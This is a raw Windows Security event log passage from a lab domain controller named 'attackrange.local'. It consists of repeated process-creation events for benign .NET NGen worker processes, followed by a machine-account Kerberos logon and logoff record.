groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254561 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9f0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7f8 -InterruptEvent 0 -NGENProcess 618 -Pipe 658 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254564 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4c8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 640 -InterruptEvent 0 -NGENProcess 7e4 -Pipe 7f8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254563 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf3c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 62c -InterruptEvent 0 -NGENProcess 618 -Pipe 60c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254565 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xca4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 538 -InterruptEvent 0 -NGENProcess 72c -Pipe 618 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:42 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254567 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12e4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5c0 -InterruptEvent 0 -NGENProcess 598 -Pipe 5a8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:42 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254566 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7e8 -InterruptEvent 0 -NGENProcess 7e4 -Pipe 610 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254568 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13a0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 538 -InterruptEvent 0 -NGENProcess 7e4 -Pipe 72c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:45 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254570 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 660 -InterruptEvent 0 -NGENProcess 598 -Pipe 7e8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:45 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254569 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1238 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4e8 -InterruptEvent 0 -NGENProcess 4dc -Pipe 510 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254572 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4e8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4e8 -InterruptEvent 0 -NGENProcess 598 -Pipe 4dc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254571 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1394 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7e4 -InterruptEvent 0 -NGENProcess 448 -Pipe 51c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254574 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb38 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 448 -InterruptEvent 0 -NGENProcess 598 -Pipe 47c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254573 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x118c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2d4 -InterruptEvent 0 -NGENProcess 40c -Pipe 4f0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254576 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1070 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 310 -InterruptEvent 0 -NGENProcess 790 -Pipe 390 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254575 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 324 -InterruptEvent 0 -NGENProcess 40c -Pipe 220 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254578 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1398 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 344 -InterruptEvent 0 -NGENProcess 5c0 -Pipe 310 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254577 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1248 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7e4 -InterruptEvent 0 -NGENProcess 324 -Pipe 410 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254585 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16C507 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:04:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254584 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x16C507 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62477 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that 